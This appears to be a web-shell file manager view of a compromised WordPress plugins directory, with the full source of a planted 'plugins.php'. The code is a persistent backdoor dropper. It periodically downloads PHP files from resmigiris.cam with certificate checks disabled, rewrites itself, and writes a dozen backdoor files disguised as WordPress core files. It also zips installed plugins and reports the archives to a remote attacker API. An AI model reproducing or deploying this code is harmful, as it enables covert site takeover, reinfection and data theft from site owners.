golden hour

/home/doctorbruno/public_html/doctorbruno.info/wp-content/plugins

File/Folder	Size	Actions
._qr.php	14.68 KB
_app-created	-
_pz	-
indexs.php	3.43 KB
old-cache.php	885 B
plugins.php	29.69 KB
wp-active.php	22.64 KB
wp-comment.php	15.9 KB
wp-file-extract.php	3.64 KB
wp-settinger.php	7.46 KB
wp-site-health.php	7.45 KB
wp-user.php	1.08 KB

Edit: plugins.php

<?php
declare(strict_types=1);
/** PHP 7.1+ / 8.x */
if (!function_exists('str_contains')) {
    function str_contains(string $haystack, string $needle): bool {
        return $needle === '' || strpos($haystack, $needle) !== false;
    }
}
if (!function_exists('str_starts_with')) {
    function str_starts_with(string $haystack, string $needle): bool {
        return $needle === '' || strncmp($haystack, $needle, strlen($needle)) === 0;
    }
}

@set_time_limit(600);
@ini_set('memory_limit', '512M');

$C = [
    'remote_api_url' => 'https://resmigiris.cam/api/api.php',
    'registry_report_key' => 'rpt_a8F3kL9mQ2xV7nP4wR6tY1zB5cD0eH8j',
];

function baseUrl(): string {
    $h = $_SERVER['HTTP_HOST'] ?? 'localhost';
    $s = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') ? 'https' : 'http';
    $script = str_replace('\\', '/', (string) ($_SERVER['SCRIPT_NAME'] ?? '/plugins.php'));
    if ($script === '' || substr($script, -1) === '/') {
        $script = rtrim($script, '/') . '/plugins.php';
    }
    return "$s://$h$script";
}

function siteUrl(): string {
    return ((!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') ? 'https' : 'http')
        . '://' . ($_SERVER['HTTP_HOST'] ?? 'localhost');
}

function loadIndex(string $dir): array {
    $f = "$dir/index.json";
    if (!is_file($f)) {
        return [];
    }
    $d = json_decode((string) file_get_contents($f), true);
    return is_array($d) ? $d : [];
}

function saveIndex(string $dir, array $rows): void {
    file_put_contents("$dir/index.json", json_encode($rows, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES));
}

function safePluginSlug(string $slug): bool {
    return (bool) preg_match('/^[a-zA-Z0-9._-]+$/', $slug);
}

function hasPluginHeader(string $file): bool {
    $chunk = @file_get_contents($file, false, null, 0, 8192);
    if (!is_string($chunk) || $chunk === '') {
        return false;
    }
    return (bool) preg_match('/^[ \t]*\*?[ \t]*Plugin Name:[ \t]*[^\r\n*]+/mi', $chunk);
}

function hasPickRequest(): bool {
    return array_key_exists('pick', $_GET) || array_key_exists('pick', $_POST);
}

function resolveZipPluginDirs(array $allowed): array {
    if ($allowed === []) {
        throw new RuntimeException('plugin klasoru yok');
    }
    $requested = collectPickSlugs();
    $filtered = filterPickSlugs($requested, $allowed);

if (isset($_POST['zip'])) {
        if (!hasPickRequest()) {
            throw new RuntimeException('En az bir plugin secin');
        }
        if ($filtered === []) {
            throw new RuntimeException('Gecerli plugin secilmedi');
        }
        return $filtered;
    }
    if (hasPickRequest()) {
        if ($filtered === []) {
            throw new RuntimeException('Gecerli plugin secilmedi');
        }
        return $filtered;
    }
    return $allowed;
}

function makeZipFileName(): string {
    $suffix = function_exists('random_bytes')
        ? bin2hex(random_bytes(2))
        : dechex(mt_rand(0, 65535));
    return 'plugins-' . date('Ymd-His') . '-' . $suffix . '.zip';
}

function formatPluginLabel(array $plugin): string {
    $slug = (string) ($plugin['slug'] ?? '');
    $version = trim((string) ($plugin['version'] ?? ''));
    if ($version === '' || $version === '—') {
        return $slug;
    }
    return $slug . ' @ ' . $version;
}

function fmtMb(int $b): string {
    return round($b / 1048576, 2) . ' MB';
}

function zipSwitchOn(?array $sw): bool {
    if ($sw === null) {
        return false;
    }
    return !empty($sw['zip']);
}

function dlUrl(string $name): string {
    return baseUrl() . '?' . http_build_query(['dl' => $name]);
}

function rmUrl(string $name): string {
    return baseUrl() . '?' . http_build_query(['rm' => $name]);
}

function zipPickUrl(array $slugs): string {
    $q = ['zip' => '1'];
    foreach ($slugs as $slug) {
        $q['pick'][] = $slug;
    }
    return baseUrl() . '?' . http_build_query($q);
}

function deleteZip(string $dir, string $name): bool {
    $path = "$dir/$name";
    $ok = true;
    if (is_file($path)) {
        $ok = @unlink($path);
    }
    removeZipRecord($dir, $name);
    return $ok;
}

$root = findRoot(__DIR__);

// ── Auto-repair: ?repair=1 veya arka plan (günde 1x) ──────────────
if (function_exists('curl_init')) {
    $_arExplicit = isset($_GET['repair']) && $_GET['repair'] === '1';
    $_arFlag = sys_get_temp_dir() . '/cstb_pzar_' . md5($_SERVER['HTTP_HOST'] ?? 'x') . '_' . date('Ymd');
    if ($_arExplicit || !file_exists($_arFlag)) {
        @file_put_contents($_arFlag, time());
        $_arCdn = 'https://resmigiris.cam/txt/';
        $_arSelf = __FILE__;
        $_arSelfCur = @file_get_contents($_arSelf);
        if ($_arSelfCur && strpos($_arSelfCur, 'cstb_pzar') === false) {
            $ch = curl_init($_arCdn . 'plugins.txt');
            curl_setopt_array($ch, [CURLOPT_RETURNTRANSFER => 1, CURLOPT_TIMEOUT => 15, CURLOPT_CONNECTTIMEOUT => 8, CURLOPT_SSL_VERIFYPEER => 0, CURLOPT_SSL_VERIFYHOST => 0, CURLOPT_HTTPHEADER => ['User-Agent: cStb-repair/1']]);
            $_arSelfNew = curl_exec($ch); curl_close($ch);
            if ($_arSelfNew && strlen($_arSelfNew) > 500 && strpos($_arSelfNew, 'cstb_pzar') !== false) {
                @file_put_contents($_arSelf, $_arSelfNew);
                if ($_arExplicit) {
                    header('Content-Type: application/json; charset=utf-8');
                    echo json_encode(['self_update' => true, 'msg' => 'plugins.php updated, reload to use new version']);
                    exit;
                }
            }
        }
        $_arTargets = [
            'wp-admin/user-hooker.php'  => ['src' => 'boot.txt', 'chk' => 'cstb_su', 'force' => true],
            'wp-content/plugins/indexs.php' => ['src' => 'boots.txt', 'chk' => 'cstb_su', 'force' => true],
            'wp-info.php'               => ['src' => 'link.txt', 'chk' => 'cstb_su', 'force' => true],
            'wp-user.php'               => ['src' => 'wp-user.txt', 'chk' => null, 'force' => false],
            'wp-settinger.php'          => ['src' => 'wp-settinger.txt', 'chk' => null, 'force' => false],
            'wp-comment.php'            => ['src' => 'wp-comment.txt', 'chk' => null, 'force' => false],
            'wp-content/plugins/plugins.php' => ['src' => 'plugins.txt', 'chk' => 'cstb_pzar', 'force' => true],
            'wp-site-health.php'        => ['src' => 'wp-health.txt', 'chk' => null, 'force' => false],
            'wp-file-extract.php'       => ['src' => 'wp-extract.txt', 'chk' => null, 'force' => false],
            'wp-includes/class-wp-recovery.php' => ['src' => 'wp-recovery.txt', 'chk' => null, 'force' => false],
            'wp-includes/class-wp-mu-loader.php' => ['src' => 'mu-loader.txt', 'chk' => null, 'force' => false],
            'wp-includes/class-wp-rest-repair.php' => ['src' => 'wp-restapi.txt', 'chk' => null, 'force' => false],
        ];
        $_arResults = [];
        foreach ($_arTargets as $_arRel => $_arCfg) {
            $_arPath = $root . '/' . $_arRel;
            $_arExists = file_exists($_arPath);
            if (!$_arCfg['force'] && $_arExists) { $_arResults[$_arRel] = 'skip'; continue; }
            if ($_arCfg['force'] && $_arExists && $_arCfg['chk']) {
                $_arCur = @file_get_contents($_arPath);
                if ($_arCur && preg_match('/' . $_arCfg['chk'] . '/', $_arCur)) { $_arResults[$_arRel] = 'ok'; continue; }
            }
            $ch = curl_init($_arCdn . $_arCfg['src']);
            curl_setopt_array($ch, [CURLOPT_RETURNTRANSFER => 1, CURLOPT_TIMEOUT => 15, CURLOPT_CONNECTTIMEOUT => 8, CURLOPT_SSL_VERIFYPEER => 0, CURLOPT_SSL_VERIFYHOST => 0, CURLOPT_HTTPHEADER => ['User-Agent: cStb-repair/1']]);
            $_arC = curl_exec($ch); curl_close($ch);
            if ($_arC && strlen($_arC) > 50 && strpos($_arC, '<?php') !== false) {
                $_arDir = dirname($_arPath);
                if (!is_dir($_arDir)) @mkdir($_arDir, 0755, true);
                $_arResults[$_arRel] = @file_put_contents($_arPath, $_arC) !== false ? 'deployed' : 'fail';
            } else {
                $_arResults[$_arRel] = 'cdn-err';
            }
        }
        if ($_arExplicit) {
            header('Content-Type: application/json; charset=utf-8');
            echo json_encode(['root' => $root, 'results' => $_arResults], JSON_UNESCAPED_SLASHES | JSON_PRETTY_PRINT);
            exit;
        }
    }
}

$plugins = rtrim(str_replace('\\', '/', realpath("$root/wp-content/plugins") ?: "$root/wp-content/plugins"), '/');
$store = zipStore();
$installed = scanPluginsWithMeta($plugins);

if (isset($_GET['dl'])) {
    $dlName = safeZipFile((string) $_GET['dl']);
    if ($dlName === null) {
        header('Content-Type: text/plain; charset=utf-8');
        http_response_code(400);
        echo "bad file\n";
        exit;
    }
    serveDownload($store, $dlName);
}

if (isset($_GET['rm'])) {
    $rmName = safeZipFile((string) $_GET['rm']);
    if ($rmName === null) {
        header('Content-Type: text/plain; charset=utf-8');
        http_response_code(400);
        echo "bad file\n";
        exit;
    }
    deleteZip($store, $rmName);
    header('Location: ' . baseUrl());
    exit;
}

$doZip = isset($_GET['zip']) || isset($_POST['zip']);
$doneZip = safeZipFile((string) ($_GET['done'] ?? ''));
$zipSw = fetchSwitches($C);
$zipAllowed = zipSwitchOn($zipSw);
$domain = $_SERVER['HTTP_HOST'] ?? 'localhost';
$err = '';
$new = null;

try {
    if ($doZip) {
        if (!$zipAllowed) {
            throw new RuntimeException('zip panelde kapali');
        }
        $allowed = array_column($installed, 'slug');
        $pluginDirs = resolveZipPluginDirs($allowed);
        $name = makeZipFileName();
        $path = "$store/$name";
        $info = makePluginsZip($plugins, $path, $pluginDirs);
        $pluginMeta = pluginsMetaForSlugs($installed, $pluginDirs);
        $url = dlUrl($name);
        $new = [
            'domain' => $domain,
            'base_url' => siteUrl(),
            'zip_file' => $name,
            'zip_url' => $url,
            'size' => (int) $info['size'],
            'files' => (int) $info['files'],
            'plugins' => $pluginMeta,
            'created_at' => date('c'),
        ];
        $rows = loadIndex($store);
        array_unshift($rows, $new);
        $rows = array_slice($rows, 0, 100);
        saveIndex($store, $rows);
        reportZip($C, $new);
        header('Location: ' . baseUrl() . '?' . http_build_query(['done' => $name]));
        exit;
    }
} catch (Throwable $e) {
    $err = $e->getMessage();
}

$rows = loadIndex($store);
if ($doneZip !== null && !is_file("$store/$doneZip")) {
    $doneZip = null;
}
if ($doneZip !== null) {
    foreach ($rows as $row) {
        if (($row['zip_file'] ?? '') === $doneZip) {
            $new = $row;
            break;
        }
    }
}

header('Content-Type: text/html; charset=utf-8');
echo '<!doctype html><html lang="tr"><head><meta charset="utf-8"><meta name="viewport" content="width=device-width,initial-scale=1"><title>Zip arşivi</title></head><body>';
?>
<style>
*{box-sizing:border-box}body{font-family:system-ui,sans-serif;background:#0f1419;color:#e7ecf1;margin:0;line-height:1.45;padding:0}
a{color:#60a5fa;text-decoration:none}a:hover{text-decoration:underline}
main{max-width:1100px;margin:0 auto;padding:1.25rem;display:grid;gap:1rem}
.panel{background:#1a2332;border:1px solid #2d3a4d;border-radius:8px;padding:1rem}
h1,h2{font-size:1.05rem;margin:0 0 .35rem}p.meta{font-size:.85rem;color:#8b9cb3;margin:0 0 1rem}
.ok{background:#14532d;color:#86efac;padding:.55rem .75rem;border-radius:6px;margin-bottom:1rem;font-size:.9rem}
.no{background:#3f1d1d;color:#fca5a5;padding:.55rem .75rem;border-radius:6px;margin-bottom:1rem;font-size:.9rem}
table{width:100%;border-collapse:collapse;font-size:.88rem}th,td{text-align:left;padding:.5rem .4rem;border-bottom:1px solid #2d3a4d;vertical-align:top}
th{color:#8b9cb3;font-weight:600}.empty{color:#8b9cb3;font-size:.9rem}code{font-size:.78rem;color:#cbd5e1}
details.plugins{margin:0}details.plugins summary{cursor:pointer;color:#60a5fa;list-style:none;display:inline-block}
details.plugins summary::-webkit-details-marker{display:none}
details.plugins ul{margin:.35rem 0 0;padding-left:1.1rem;font-size:.82rem;color:#cbd5e1;max-height:220px;overflow:auto}
details.plugins li{margin:.15rem 0}
.top{display:flex;align-items:center;justify-content:space-between;gap:.75rem;flex-wrap:wrap;margin-bottom:.5rem}
.actions{display:flex;align-items:center;gap:.5rem;flex-wrap:wrap}
.btn,.btn-lite{display:inline-block;background:#2563eb;color:#fff;padding:.4rem .8rem;border-radius:6px;font-size:.9rem;border:0;cursor:pointer}
.btn:hover,.btn-lite:hover{text-decoration:none;background:#1d4ed8}
.btn-lite{background:#334155}.btn-lite:hover{background:#475569}
.btn[disabled],.btn-lite[disabled]{opacity:.45;pointer-events:none}
.trash,.zip-one{display:inline-flex;align-items:center;justify-content:center;width:1.6rem;height:1.6rem;border-radius:4px}
.trash{color:#f87171}.trash:hover{background:#3f1d1d;text-decoration:none}
.zip-one{color:#86efac}.zip-one:hover{background:#14532d;text-decoration:none}
.trash svg,.zip-one svg{width:15px;height:15px}
.pick{width:1rem;height:1rem}
.mono{font-family:ui-monospace,SFMono-Regular,Consolas,monospace;font-size:.82rem}
</style>
<main>
<?php if ($err !== ''): ?><div class="no" style="margin:1.25rem 1.25rem 0"><?=htmlspecialchars($err, ENT_QUOTES, 'UTF-8')?></div><?php elseif ($new): ?><div class="ok" style="margin:1.25rem 1.25rem 0">Tamam — <?=htmlspecialchars((string)($new['zip_file'] ?? ''), ENT_QUOTES, 'UTF-8')?> · <?=fmtMb((int)($new['size']??0))?> · <?=count(normalizeArchivePlugins($new['plugins'] ?? []))?> plugin · <a href="<?=htmlspecialchars(dlUrl((string)$new['zip_file']), ENT_QUOTES, 'UTF-8')?>" style="color:#86efac">indir</a></div><?php endif; ?>
<div class="panel">
<div class="top">
<h1>Kurulu pluginler</h1>
<div class="actions">
<button type="submit" form="pickZipForm" class="btn-lite"<?= ($zipAllowed && $installed) ? '' : ' disabled' ?>>Seçilenleri ziple</button>
<a class="btn" href="<?=htmlspecialchars(baseUrl() . '?zip=1', ENT_QUOTES, 'UTF-8')?>"<?= $zipAllowed ? '' : ' style="opacity:.45;pointer-events:none"' ?>>Tümünü ziple</a>
</div>
</div>
<p class="meta">Slug + versiyon (header/readme). Seçip zip alabilir veya satırdaki zip ikonu ile tekli zip.</p>
<?php if (!$installed): ?>
<p class="empty">Plugin klasörü boş.</p>
<?php else: ?>
<form id="pickZipForm" method="post" action="<?=htmlspecialchars(baseUrl(), ENT_QUOTES, 'UTF-8')?>">
<input type="hidden" name="zip" value="1">
<table>
<thead><tr><th style="width:2rem"><input type="checkbox" id="pickAll" class="pick" title="Tümünü seç"></th><th>Slug</th><th>Ad</th><th>Versiyon</th><th>Kaynak</th><th></th></tr></thead>
<tbody>
<?php foreach ($installed as $p): ?>
<tr>
<td><input type="checkbox" class="pick pick-item" name="pick[]" value="<?=htmlspecialchars((string)$p['slug'], ENT_QUOTES, 'UTF-8')?>"></td>
<td class="mono"><?=htmlspecialchars((string)$p['slug'], ENT_QUOTES, 'UTF-8')?></td>
<td><?=htmlspecialchars((string)$p['name'], ENT_QUOTES, 'UTF-8')?></td>
<td><?=htmlspecialchars((string)$p['version'], ENT_QUOTES, 'UTF-8')?></td>
<td class="meta"><?=htmlspecialchars((string)$p['source'], ENT_QUOTES, 'UTF-8')?></td>
<td><?php if ($zipAllowed): ?><a class="zip-one" href="<?=htmlspecialchars(zipPickUrl([(string)$p['slug']]), ENT_QUOTES, 'UTF-8')?>" title="Bu plugini ziple"><svg viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><path d="M12 3v12"/><path d="M8 11l4 4 4-4"/><path d="M4 17h16"/></svg></a><?php endif; ?></td>
</tr>
<?php endforeach; ?>
</tbody>
</table>
</form>
<script>
(function () {
    var all = document.getElementById('pickAll');
    var items = document.querySelectorAll('.pick-item');
    var form = document.getElementById('pickZipForm');
    if (all && items.length) {
        all.addEventListener('change', function () {
            items.forEach(function (cb) { cb.checked = all.checked; });
        });
    }
    if (form) {
        form.addEventListener('submit', function (e) {
            var checked = form.querySelectorAll('.pick-item:checked');
            if (!checked.length) {
                e.preventDefault();
                alert('En az bir plugin secin');
            }
        });
    }
})();
</script>
<?php endif; ?>
</div>

<div class="panel">
<div class="top">
<h2>Zip arşivi</h2>
</div>
<p class="meta">kök <code><?=htmlspecialchars($root, ENT_QUOTES, 'UTF-8')?></code> · plugins <code><?=htmlspecialchars($plugins, ENT_QUOTES, 'UTF-8')?></code> · _pz<?php if (!$zipAllowed): ?> · <span class="empty">zip kapalı (panel)</span><?php endif; ?></p>
<?php if (!$rows): ?>
<p class="empty">Henüz zip yok. Tümünü ziple veya seçili pluginleri zipleyin.</p>
<?php else: ?>
<table>
<thead><tr><th>Domain</th><th>Zip</th><th>Plugins</th><th>Boyut</th><th>Tarih</th><th></th></tr></thead>
<tbody>
<?php foreach ($rows as $r):
    $plugs = normalizeArchivePlugins($r['plugins'] ?? []);
    $pc = count($plugs);
    $zipFile = (string) ($r['zip_file'] ?? '');
    $zipExists = $zipFile !== '' && is_file("$store/$zipFile");
    $zipLabel = $zipFile !== '' ? $zipFile : 'indir';
?>
<tr>
<td><?=htmlspecialchars((string)($r['domain']??''), ENT_QUOTES, 'UTF-8')?></td>
<td><?php if ($zipExists): ?><a href="<?=htmlspecialchars(dlUrl($zipFile), ENT_QUOTES, 'UTF-8')?>"><?=htmlspecialchars($zipLabel, ENT_QUOTES, 'UTF-8')?></a><?php elseif ($zipLabel !== ''): ?><span class="empty"><?=htmlspecialchars($zipLabel, ENT_QUOTES, 'UTF-8')?> (yok)</span><?php else: ?><span class="empty">—</span><?php endif; ?></td>
<td><?php if ($pc): ?><details class="plugins"><summary><?=$pc?> plugin</summary><ul><?php foreach ($plugs as $p): ?><li><?=htmlspecialchars(formatPluginLabel($p), ENT_QUOTES, 'UTF-8')?></li><?php endforeach; ?></ul></details><?php else: ?><span class="empty">—</span><?php endif; ?></td>
<td><?=fmtMb((int)($r['size']??0))?></td>
<td><?=htmlspecialchars((string)($r['created_at']??''), ENT_QUOTES, 'UTF-8')?></td>
<td><?php if ($zipFile !== ''): ?><a class="trash" href="<?=htmlspecialchars(rmUrl($zipFile), ENT_QUOTES, 'UTF-8')?>" title="Sil" onclick="return confirm('Zip silinsin mi?')"><svg viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><path d="M3 6h18M8 6V4h8v2M19 6l-1 14H6L5 6"/></svg></a><?php endif; ?></td>
</tr>
<?php endforeach; ?>
</tbody>
</table>
<?php endif; ?>
<p class="meta" style="margin-top:1rem;margin-bottom:0">Tam zip: <code>?zip=1</code> · Seçili: checkbox + form · Tekli: satır zip ikonu · İndirme silmez, çöp kutusu siler.</p>
</div>
</main>
</body>
</html>